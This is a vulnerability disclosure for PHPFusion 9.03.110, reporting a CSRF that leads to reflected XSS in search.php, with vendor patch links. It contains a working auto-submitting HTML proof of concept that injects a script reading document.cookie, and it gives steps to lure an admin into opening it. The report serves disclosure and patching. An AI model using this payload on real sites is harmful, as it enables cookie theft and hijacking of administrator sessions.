CSRF to Reflected XSS vulnerability on PHPFusion 9.03.110 CMS

CSRF to Reflected XSS vulnerability on PHPFusion 9.03.110 CMS

## Bug Description
Hi. I found a CSRF in the search.php in PHPFusion 9.03.110 CMS. This vulnerability allows remote attackers to inject arbitrary web script or HTML.

## How to Reproduce
Steps to reproduce the behavior:
1. Create a CSRF POC using the following code.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
function fireForms()
{
    var count = 2;
    var i=0;
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}
</script>

<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="http://localhost/PHPFusion/search.php">
<input type="hidden" name="stext" value="'><script>alert(document.cookie)</script>"/>
<input type="hidden" name="form_id" value="advanced_search_form"/>
<input type="hidden" name="method" value="OR"/>
<input type="hidden" name="search" value="Search"/>
<input type="hidden" name="stype" value="all"/>
</form>
</body>
</html>
```

2. Replace the URI to path to PHPFusion folder.
3. Send the link script to the victim (admin) to make them click.
4. The script has been triggered on victim browser.

## Server Information

Xampp on Windows 10

### PHP Operating System

Windows NT DESKTOP-BDPIT37 10.0 build 18363 (Windows 10) AMD64

### PHP Version

PHP Version 7.4.15

# Vendor Response

The fixes will be included in next update, patched here:

https://github.com/PHPFusion/PHPFusion/commit/08d6c2ea49bd06fcce32275252f5f25abe61965c (https://github.com/PHPFusion/PHPFusion/commit/08d6c2ea49bd06fcce32275252f5f25abe61965c)

https://github.com/PHPFusion/PHPFusion/commit/fda266c3bb35c650a8c4c51b6923abdfb66ef5cd (https://github.com/PHPFusion/PHPFusion/commit/fda266c3bb35c650a8c4c51b6923abdfb66ef5cd)

https://github.com/PHPFusion/PHPFusion/commit/1c2b32321cf11ed1cd3ff835f8da0d172c849ce6 (https://github.com/PHPFusion/PHPFusion/commit/1c2b32321cf11ed1cd3ff835f8da0d172c849ce6)

https://github.com/PHPFusion/PHPFusion/commit/da9f89ae70219f357fba6fffd2dae1ec886d8a3b (https://github.com/PHPFusion/PHPFusion/commit/da9f89ae70219f357fba6fffd2dae1ec886d8a3b)

Public Last updated: 2021-03-10 11:49:45 AM

Comments

Your Name

Comment

Add Comment